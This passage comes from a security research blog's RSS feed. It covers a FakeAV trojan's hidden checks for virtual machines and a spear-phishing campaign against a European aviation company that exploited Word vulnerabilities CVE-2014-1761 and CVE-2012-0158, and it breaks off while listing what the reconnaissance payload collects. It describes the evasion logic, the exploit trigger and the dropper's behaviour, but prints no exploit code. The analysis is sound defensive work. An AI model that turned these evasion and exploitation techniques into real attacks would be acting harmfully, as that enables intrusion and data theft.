After all the deobfuscation , it calls &amp;nbsp;SETUPAPI.SetupDiGetClassDevsA( ) API to get the handle to the&lt;a href=&quot;http://msdn.microsoft.com/en-in/library/windows/hardware/ff541247(v=vs.85).aspx&quot; target=&quot;_blank&quot;&gt; &lt;/a&gt;&lt;span style=&quot;color: lime;&quot;&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-in/library/windows/hardware/ff541247(v=vs.85).aspx&quot; target=&quot;_blank&quot;&gt;device information set&lt;/a&gt; &lt;/span&gt;that contains device information elements for a local computer&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEht9D3soCaFircVHCVOgJ5a0bHgKdbf9JLWUGS54bL9xEpDP9e20CRfZSPP5D4hOd6arDFdWcYDdevkhp-xWAMqK4yoY5-UasXSXCpVOAfwXPkiyPMjzMuXxHd2b10T9U0rpJMyJuDieHM/s1600/vm-3.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEht9D3soCaFircVHCVOgJ5a0bHgKdbf9JLWUGS54bL9xEpDP9e20CRfZSPP5D4hOd6arDFdWcYDdevkhp-xWAMqK4yoY5-UasXSXCpVOAfwXPkiyPMjzMuXxHd2b10T9U0rpJMyJuDieHM/s1600/vm-3.png&quot; height=&quot;150&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
At this point , if we check the memory of the process , the strings to match has already been decrypted:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEdiq_Sd_XJljLvzj-lk9ZhdJnTCbxQf778aO8txwIuFSaLmzO4my8Jlhzy9G8lOiJ5Px_4hIlLfnXnXVFFvyJEXrbtN5oVBcCg8nAu4DYZDIljULWzqGEhcdGMdToCzPQvPoFRZ0oFto/s1600/vm-4.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEdiq_Sd_XJljLvzj-lk9ZhdJnTCbxQf778aO8txwIuFSaLmzO4my8Jlhzy9G8lOiJ5Px_4hIlLfnXnXVFFvyJEXrbtN5oVBcCg8nAu4DYZDIljULWzqGEhcdGMdToCzPQvPoFRZ0oFto/s1600/vm-4.png&quot; height=&quot;80&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Next , it passes the returned handle to the&amp;nbsp;SetupDiEnumDeviceInfo ( ) that returns the structure relating to the device information set . More information about the API and structure is available on &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/hardware/ff551010(v=vs.85).aspx&quot; target=&quot;_blank&quot;&gt;MSDN&lt;/a&gt;.&lt;span id=&quot;goog_116894492&quot;&gt;&lt;/span&gt;&lt;span id=&quot;goog_116894493&quot;&gt;&lt;/span&gt;&lt;a href=&quot;https://www.blogger.com/&quot;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXsS1jrziRsENfTjtoyyY3pccXZYvNRsUTu50CuLMY_YOQStv_0BSIHB8Kr8HKbvbFzyUdtun2WNXMV2mAdeNAdLyKuPgI4WhLPTbU_FApLOQL8j3ugMXH85SamFcIImbQfnHfskexEXk/s1600/vm5.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXsS1jrziRsENfTjtoyyY3pccXZYvNRsUTu50CuLMY_YOQStv_0BSIHB8Kr8HKbvbFzyUdtun2WNXMV2mAdeNAdLyKuPgI4WhLPTbU_FApLOQL8j3ugMXH85SamFcIImbQfnHfskexEXk/s1600/vm5.png&quot; height=&quot;120&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Then eventually calls SETUPAPI.SetupDiGetDeviceRegistryPropertyA ( ) to access the registry key:&lt;br /&gt;
&lt;br /&gt;
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&amp;amp;Ven_VMware_&amp;amp;Prod_VMware_Virtual_S&amp;amp;Rev_1.0\4&amp;amp;5fcaafc&amp;amp;0&amp;amp;000&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbHRNKMG_z8QzXQwcGkvLgtDIfXsEwraTGFOZuv_y51Gx-QsvBBIGzCRT_xsGBovOLh8r2fHSyfPUfSNeTpU6rX4HkYIaBIs8VPzdDEi7mlG-Ov8W7BoyaV2mhvP3-9Ldmv-R2gs-6lY4/s1600/vm-6.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbHRNKMG_z8QzXQwcGkvLgtDIfXsEwraTGFOZuv_y51Gx-QsvBBIGzCRT_xsGBovOLh8r2fHSyfPUfSNeTpU6rX4HkYIaBIs8VPzdDEi7mlG-Ov8W7BoyaV2mhvP3-9Ldmv-R2gs-6lY4/s1600/vm-6.png&quot; height=&quot;115&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
They key that it accesses is the &quot;FriendlyName&quot; of the above registry key:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQ-YS2N1f1WpY61HWEgk0BFS59zgZjlehSobm-VClpFP57daR7jOB0qHqQ8-0tvZATWXvUAU9wDezfV_E41GGvrMVmf4NCwwNDWa8Y2YIHyKK9zI7mGCXnjHGWxahG61IwkdDNgyOxwYQ/s1600/vm-7.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQ-YS2N1f1WpY61HWEgk0BFS59zgZjlehSobm-VClpFP57daR7jOB0qHqQ8-0tvZATWXvUAU9wDezfV_E41GGvrMVmf4NCwwNDWa8Y2YIHyKK9zI7mGCXnjHGWxahG61IwkdDNgyOxwYQ/s1600/vm-7.png&quot; height=&quot;205&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
And then finally calls the functions to match the value against the Vbox , Virtual HD , Vmware and Qemu .&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9smLxa6PJ4nxiAelykKtJeXW25K7QrFKdebQ1yT2bRvL5GGGc97kqBfHDsfQ-9MMFTC4REHcizOqAb5JsCkdmUoQrHIwqOeR2W7B1ClUp1kU2CS3r2tgy6MfHBoloTZBf9utCZQL08b0/s1600/vm-8.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9smLxa6PJ4nxiAelykKtJeXW25K7QrFKdebQ1yT2bRvL5GGGc97kqBfHDsfQ-9MMFTC4REHcizOqAb5JsCkdmUoQrHIwqOeR2W7B1ClUp1kU2CS3r2tgy6MfHBoloTZBf9utCZQL08b0/s1600/vm-8.png&quot; height=&quot;291&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Below is the top level view of the rest of the code checking for variety of virtual environments :&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0mNKssa0f_TXsWJRST5r31kMKVCY67CuPYvRGVmO3z0264ggE9dwbgyD8TB5-IezZ-K3DUb2Dk6gibRA24iJ65JyC2LFpa5PwlkiJX_0BV14N7z-9dp-qz5IKHvf7M-63SJZD8bQV7dY/s1600/vm-9.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0mNKssa0f_TXsWJRST5r31kMKVCY67CuPYvRGVmO3z0264ggE9dwbgyD8TB5-IezZ-K3DUb2Dk6gibRA24iJ65JyC2LFpa5PwlkiJX_0BV14N7z-9dp-qz5IKHvf7M-63SJZD8bQV7dY/s1600/vm-9.png&quot; height=&quot;290&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Interesting ingredient of this malware was all the checks that it performed does not seem to be obviously visible to the reverser. Above that , all of these validation code was concealed below few layers of obfuscation which kind of makes it harder to expose.&lt;br /&gt;
&lt;br /&gt;
As malware authors get smarter , I am pretty certain that level of discretion in detecting the virtualized / sandbox environment is going to grow.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</description><link>http://extreme-security.blogspot.com/2014/07/trojan-fakeav-uses-unprecedented-apis.html</link><author>noreply@blogger.com (Chintan Shah)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8B2A32h_1mLvdqlbvocmA4UGmhJHT5Igfnstb0kf6DUTCsD7YqltkF8o-xylYdw6dmBSbc61UtkvGde_KvxE8L4n8cEkT4mnC0OoxVYgwgUtM_fbL9od8Zs2mfKR2zqV5F_P_2L8H3kA/s72-c/vm-1.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7570290518879810718.post-3958375375150685605</guid><pubDate>Fri, 20 Jun 2014 14:39:00 +0000</pubDate><atom:updated>2014-07-12T08:39:03.073+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">APT and Targeted Attacks</category><category domain="http://www.blogger.com/atom/ns#">Vulnerability and Exploit Research</category><title>Multiple Microsoft Word Vulnerabilities Used In Targeted Attacks Against European Aviation Company</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
Exploits targeting zero day vulnerabilities delivered via spear phishing emails is one of the most successful attack combinations used by threat actors. It has been proven method of infiltrating the target organization in an attempt to gain access to the confidential information. &lt;br /&gt;
Recently, over the period of last month, We have uncovered another targeted attacks being carried out via spear phishing emails against the European Aviation company. We have observed the emails being sent to the larger group of individuals in the target organization with the attachments exploiting recently patched&amp;nbsp;RTF vulnerability CVE-2014-1761 and previously patched CVE-2012-0158 ActiveX control vulnerability. Both of these vulnerabilities has been predominantly used in several ongoing targeted attacks.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggXj9fv1pBD7BQd-c1PMjf_i-uUglw7ep0qCshUlshB8WZ6mi9dWnQ8x7__d4NQ7i5jMYQGR3CgwN3G3OkBOtIcfwvJf3-e-r3XYh4jnxjtKilquxb-wrcyHylc80hjz_ByqFIL6ddD9I/s1600/t1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggXj9fv1pBD7BQd-c1PMjf_i-uUglw7ep0qCshUlshB8WZ6mi9dWnQ8x7__d4NQ7i5jMYQGR3CgwN3G3OkBOtIcfwvJf3-e-r3XYh4jnxjtKilquxb-wrcyHylc80hjz_ByqFIL6ddD9I/s1600/t1.png&quot; height=&quot;226&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhO_SssOE9TYCk9pFUaLcs6WMtE5UUE7JsJH6_zPTdZSmS06wBBPEhA4RUXswW3P-2bq8xPUSh544dzP-DChSwKy2QG9JZJ_DjrddwTVv8Ph3UrySIGyG4HvaBJn2VMwDsrrr6TYJE9f-g/s1600/t2.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; display: inline !important; margin-bottom: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhO_SssOE9TYCk9pFUaLcs6WMtE5UUE7JsJH6_zPTdZSmS06wBBPEhA4RUXswW3P-2bq8xPUSh544dzP-DChSwKy2QG9JZJ_DjrddwTVv8Ph3UrySIGyG4HvaBJn2VMwDsrrr6TYJE9f-g/s1600/t2.png&quot; height=&quot;235&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Both of these spear phishing emails are observed to be coming from French actors using the French Yahoo and Laposte email services and possibly impersonating the employee of the target organization.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;RTF&amp;nbsp;&lt;/u&gt;&lt;/b&gt;&lt;b&gt;&lt;u&gt;Vulnerability :&lt;/u&gt;&lt;/b&gt;&lt;b&gt;&lt;u&gt;&amp;nbsp;CVE-2014-1761&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
As indicated above, both these exploits targets recently patched RTF vulnerability CVE-2014-1761. Precise reason for triggering this vulnerability is the value of the “ListOverrideCount” which is set to 25.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAIoQeC8vFxb7O9YTFniQqSZaHkeEmGORSJZAE-nj_y3lTrMi07Y9hx3BCXKlN5mERUCT-aRqImPLdxsDWc25n64czI86N8x7yNub_f_wXKqAzgglLGVdgpTVbYDKNwBHmdYOVZ-bkWZs/s1600/t3.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAIoQeC8vFxb7O9YTFniQqSZaHkeEmGORSJZAE-nj_y3lTrMi07Y9hx3BCXKlN5mERUCT-aRqImPLdxsDWc25n64czI86N8x7yNub_f_wXKqAzgglLGVdgpTVbYDKNwBHmdYOVZ-bkWZs/s1600/t3.png&quot; height=&quot;75&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Which according to MS RTF specifications should be either 1 or 9 . This eventually causes the out of bounds array overwrite subsequently resulting into incorrect handling of the structure by Microsoft word leading to control of the EIP.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;Shellcode:&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Interesting aspect of this vulnerability is that all the byte of the shellcode ( ROP chain ) are directly controlled by the attacker and comes straight from the RTF structure. Here is the high level view of how the ROP chain is formed directly out of the structure.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjElw97NAVQD66FBWLbTxRlY8B4oUP9vW4HeohowMKyTOvKWNpjeELc1bkXtDNC__ZYan-20-hZ5Gy0qRrJX6DsI9XqbEegQ2ah8IyjoP9u_RlGkI3w70wLPY00Of0J3yxPSfMtJ6tar0k/s1600/t4.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; display: inline !important; margin-bottom: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjElw97NAVQD66FBWLbTxRlY8B4oUP9vW4HeohowMKyTOvKWNpjeELc1bkXtDNC__ZYan-20-hZ5Gy0qRrJX6DsI9XqbEegQ2ah8IyjoP9u_RlGkI3w70wLPY00Of0J3yxPSfMtJ6tar0k/s1600/t4.png&quot; height=&quot;350&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Below is the memory snapshot of the parsed RTF structure in the memory leading to the control of the EIP:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi44TBMyC6An_P10C7mnnTBwH8O1V7b_yzWOQNHp1Ui6qibdzipbJ5rrWtUoF9ZhhKz84Cqpx9gI65OqInq0zs_JbeEf8kqKkmt_p5DOu8HynZCgm8R012XMfzQjR0t8Wti6bhmrubT58Y/s1600/t5.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi44TBMyC6An_P10C7mnnTBwH8O1V7b_yzWOQNHp1Ui6qibdzipbJ5rrWtUoF9ZhhKz84Cqpx9gI65OqInq0zs_JbeEf8kqKkmt_p5DOu8HynZCgm8R012XMfzQjR0t8Wti6bhmrubT58Y/s1600/t5.png&quot; height=&quot;85&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Successful execution of the shellcode opens the decoy document and drops the malware svohost.exe in %TEMP% which then connects back to the C&amp;amp;C server ( C&amp;amp;C details provided later )&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmTKHtD8RAwHQWtNIFdjhKjh1eX6-sb-cziid-m3I6hB3VEy8ovCUyX1d9DMvrWfTVeCiSUg68Wr62kR3ljffkYAcXw23uM_r8n9wk-eM3eiZE-_fa4E27EGyordnwAIifJtvnUJBQtTA/s1600/t6.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmTKHtD8RAwHQWtNIFdjhKjh1eX6-sb-cziid-m3I6hB3VEy8ovCUyX1d9DMvrWfTVeCiSUg68Wr62kR3ljffkYAcXw23uM_r8n9wk-eM3eiZE-_fa4E27EGyordnwAIifJtvnUJBQtTA/s1600/t6.png&quot; height=&quot;170&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Compelete Technical details of the vulnerability and the shellcode has been blogged&amp;nbsp;&lt;a href=&quot;http://blogs.mcafee.com/mcafee-labs/close-look-rtf-zero-day-attack-cve-2014-1761-shows-sophistication-attackers&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
In the same cycle of spear phishing attacks we’ve also got the hold of the mails targeting the same organization with the attachments exploiting old CVE -2012-0158 vulnerability. Exploit laden doc files are found to be with the file name: article.doc&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuDMOJaf49dkUCD9sdeBFG19QqcPIgAOE4gNjYLb25sI46KQ-CRNQVkhtBOFbYKaryaclvtqKtQ3jWnT0t4l_a4pNXvpMpSCghmHkrOunemSse-V_egmjqlzuXPorxIFPMbrtQdCj9Wyg/s1600/t7.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuDMOJaf49dkUCD9sdeBFG19QqcPIgAOE4gNjYLb25sI46KQ-CRNQVkhtBOFbYKaryaclvtqKtQ3jWnT0t4l_a4pNXvpMpSCghmHkrOunemSse-V_egmjqlzuXPorxIFPMbrtQdCj9Wyg/s1600/t7.png&quot; height=&quot;245&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Following API trace shows gives the fair enough idea of the sequence of activities once the exploit is launched on the system :&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0i0AgBTlxSAJDQjQr9DOMgIAnxUSgwi6uIbsm_rgxGVYpsVQqfoedKV321KJxwpGaTReHDG95g3aOpNCFj7_7sq8I2QkMXimWFg3k76mNb9Ev5DedI-IESXt_FC8J8-RO92r2EED8oTY/s1600/t8.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0i0AgBTlxSAJDQjQr9DOMgIAnxUSgwi6uIbsm_rgxGVYpsVQqfoedKV321KJxwpGaTReHDG95g3aOpNCFj7_7sq8I2QkMXimWFg3k76mNb9Ev5DedI-IESXt_FC8J8-RO92r2EED8oTY/s1600/t8.png&quot; height=&quot;100&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;&lt;b&gt;Payload Analysis:&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
&lt;u&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;
Analysis of the dropped binary reveals that it is specifically written to gather information about the network of the target organization as well as the configuration of the endpoint leading us to believe that this could be spear phishing reconnaissance attack.Payload seems to have been compiled on 9th April, 2014 :&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6BMh6v9X1vmHFmQa-e6RFAA0Om-1HiC0n1LNvcpjgxSxB9Adff2W6dtFhlWEVNxqwWbaiWCsnGLwYWmSUjvXL3sWKoMCarfuKw-wLEWHxnCOYrwmFkju94b1mkRNtwlqaM-9_rsdB21s/s1600/t9.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6BMh6v9X1vmHFmQa-e6RFAA0Om-1HiC0n1LNvcpjgxSxB9Adff2W6dtFhlWEVNxqwWbaiWCsnGLwYWmSUjvXL3sWKoMCarfuKw-wLEWHxnCOYrwmFkju94b1mkRNtwlqaM-9_rsdB21s/s1600/t9.png&quot; height=&quot;146&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malware initially starts with retrieving the %Temp% path and prepares to log the communication with the C&amp;amp;C server in the file %Temp%explorer.exe&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhACR7PfwjTchCRm594JjsHB7iVvhsGEIXl36ABtF07JqPBmhRkonntaz0wzHbSf4W5dRPys6yJBeOPnC_HNkUdPLB-xpZ9eIxvjYxdttTUH2nSjePnbHdTq-R7v3sNdRMVp0HmDqSCb4Q/s1600/t10.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhACR7PfwjTchCRm594JjsHB7iVvhsGEIXl36ABtF07JqPBmhRkonntaz0wzHbSf4W5dRPys6yJBeOPnC_HNkUdPLB-xpZ9eIxvjYxdttTUH2nSjePnbHdTq-R7v3sNdRMVp0HmDqSCb4Q/s1600/t10.png&quot; height=&quot;265&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Subsequently , it starts collecting following information about the system configuration,registered organization and network:&lt;br /&gt;
-&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Hostname&lt;br /&gt;
-&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Username&lt;br /&gt;
-&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;System type by resolving IsWOW64Process API&lt;br /&gt;
